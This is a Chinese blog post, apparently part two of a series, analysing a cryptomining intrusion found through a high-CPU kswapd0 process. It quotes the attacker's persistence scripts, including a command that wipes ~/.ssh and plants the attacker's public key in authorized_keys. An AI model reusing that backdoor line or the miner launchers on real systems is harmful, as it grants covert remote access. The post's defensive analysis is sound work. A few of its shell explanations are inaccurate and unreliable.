kswapd0进程对于CPU占有率高的情况下排查到黑客植入脚本,与黑客斗智斗勇的三个回合(二)

简介: kswapd0进程对于CPU占有率高的情况下排查到黑客植入脚本,与黑客斗智斗勇的三个回合

4. 进一步看每个脚本文件的内容

探究完了这个文件之后,我就大概明白了,如果我每次都只是杀掉这个进程其实没有用。每隔一段时间,脚本自动运行,而且更阴险的是居然关机重启之后还运行这个脚本!!!可恶至极!

感觉离真相又进了一步!继续往下探究。

4.1/home/dev/.configrc/a路径下的upd文件

#!/bin/sh
cd /home/dev/.configrc/a
if test -r /home/dev/.configrc/a/bash.pid; then
pid=$(cat /home/dev/.configrc/a/bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
./run &>/dev/null

这个脚本信息说的是如果/home/dev/.configrc/a/bash.pid确实存在,那就获取bash.pid脚本的进程号

if $(kill -CHLD $pid >/dev/null 2>&1)这行代码我有点没看懂,要是有大佬看懂的,欢迎评论告知我一下,谢谢

最后一行./run &>/dev/null就是运行run文件

那就来看下run脚本里写的啥

#!/bin/bash
./stop
#./init0
sleep 10
pwd > dir.dir
dir=$(cat dir.dir)
ARCH=`uname -m`
  if [ "$ARCH" == "i686" ]; then
    nohup ./anacron >>/dev/null & 
  elif [ "$ARCH" == "x86_64" ];   then
    ./kswapd0
  fi
echo $! > bash.pid

最后一行echo $! > bash.pid打印进程号到bash.pid当中

那么我们还需要去查看一下kswpad0文件的信息

最后用vim打开一看,全乱码了。我猜测可能是二进制文件,所以用vim打开会乱码,需要用专门查看二进制文件的工具去查看才可以。

4.2/home/dev/.configrc/b路径下的sync文件

#!/bin/sh
cd /home/dev/.configrc/b
./run

同样的,我们还是需要去看下run文件写的是什么脚本

这个脚本文件太长,为了不影响阅读,我就不粘贴上来了。

可以很清楚的看到最后几行

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh
  1. cd ~进入到根目录下
  2. rm -rf .ssh强制删除根目录下的.ssh目录及其目录下的所有文件
  3. mkdir .ssh创建.ssh目录
  4. echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys
    把这行字符串ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr写到.ssh/authorized_keys文件里。备注一下:这个字符串很明显就是电脑上生成的公钥,把这个公钥给到远程电脑下.ssh/authorized_keys文件里,就可以通过ssh连接,下次就可以不用输入账号密码连接了。所以我修改了账号密码之后,对方还是可以登录到我的服务器当中。
  5. chmod -R go= ~/.ssh~/.ssh目录修改的权限是go,其中g:代表所有者所在的群组(group),o:代表其他人,但不是u和g(other)。

4.3 /dev/shm/.X1129/.rsync/c/路径下的aptitude文件

  1. 先去到对应的目录下

  1. 查看aptitude脚本文件

#!/bin/sh
cd /dev/shm/.X1129/.rsync/c
./run &>/dev/null

还是和之前的老套路,这个文件只是用来运行run脚本文件的,因此我们最终需要看的还是run文件

可以看到run脚本的具体内容如下

#!/bin/bash
PR=1
PR=$(cat /proc/cpuinfo | grep model | grep name | wc -l)
ARCH=`uname -m`
if [ "$ARCH" == "x86_64" ]; then
  # -lt是小于等于的意思,它这里的含义是如果CPU是7核以下的
  if [ $PR -lt 7 ]; then
    sleep 15
    ./stop
    sleep 3
    RANGE=240
    s=$RANDOM
    let "s %= $RANGE"
    sleep $s
    #nohup ./golan >>/dev/null &
    #sleep 20m && 
    nohup ./go >>/dev/null &  
  fi
  if [ $PR -gt 7 ]; then
    #sleep 15
    #./stop
    sleep 3
    #nohup ./golan >>/dev/null &
  fi
else    
  #nohup ./golan >>/dev/null &
  #sleep 20m && 
  nohup ./go >>/dev/null &
fi

脚本文件的第三行含义是查看CPU是多少核的。

感兴趣的我还特地去/dev/shm/.X1129这个文件夹下看了一下,确实和https://blog.csdn.net/jzz601264258/article/details/105850816 这个博主说的一样,对方还上传了一个dota3.tar.gz文件到了我的服务器上。

综上:

  • /home/dev/.configrc/a路径下的upd文件脚本最后用vim打开乱码,不清楚用户到底在用我这台机器干嘛。
  • /home/dev/.configrc/b路径下的sync文件脚本运行的是把它电脑的公钥写到我的.ssh/authorized_keys文件里
  • /dev/shm/.X1129/.rsync/c/路径下的aptitude文件设置的CPU随机休眠一段时间,不至于CPU卡的连他自己都登不上。

5. 解决办法

  1. 今天问了一下群佬,可能添加黑名单对他之前的没有太大用,暂时选择添加白名单的方案处理。先把他的~/.ssh/authorized_key里的公钥信息给删除,这样他就无法通过ssh连接了。

这个进程还是占有率很高,这个时候选择来kill掉这个进程

此时再用top命令来查看,恢复正常了。

此时记录为2022年3月20日23:16。不知道对方下一轮又会采取什么方式来给我的电脑植入其他脚本。如果有下一轮,期待和对方的下一轮较量!

相关文章
|
1月前
|
Linux
Linux 查看进程PID和线程CPU和内存占用情况
Linux 查看进程PID和线程CPU和内存占用情况
22 0
|
27天前
|
移动开发 Linux
Linux下如何查看哪些进程占用的CPU内存资源最多
Linux下如何查看哪些进程占用的CPU内存资源最多
|
1天前
|
存储 算法 Linux
【计算机操作系统】深入探究CPU,PCB和进程工作原理
【计算机操作系统】深入探究CPU,PCB和进程工作原理
|
21天前
|
Java Shell
通过端口杀掉进程的脚本
通过端口杀掉进程的脚本
7 0
|
21天前
|
Linux
Linux操作系统调优相关工具(一)查看CPU负载相关工具 找出系统中使用CPU最多的进程?
Linux操作系统调优相关工具(一)查看CPU负载相关工具 找出系统中使用CPU最多的进程?
19 0
|
2月前
|
缓存 Java 数据库
kswapd0 进程CPU占用过高
kswapd0 进程CPU占用过高
49 2
kswapd0 进程CPU占用过高
|
2月前
|
监控 Linux Shell
Linux 进程问题调查探秘:分析和排查频繁创建进程问题
Linux 进程问题调查探秘:分析和排查频繁创建进程问题
40 0
|
3月前
|
监控 Python Windows
使用python脚本来监控进程
使用python脚本来监控进程
|
3月前
|
网络协议 Linux
【系统DFX】如何诊断占用过多 CPU、内存、IO 等的神秘进程?
【系统DFX】如何诊断占用过多 CPU、内存、IO 等的神秘进程?
111 0
|
7天前
|
NoSQL Linux 程序员
【linux进程信号(一)】信号的概念以及产生信号的方式
【linux进程信号(一)】信号的概念以及产生信号的方式

相关实验场景

更多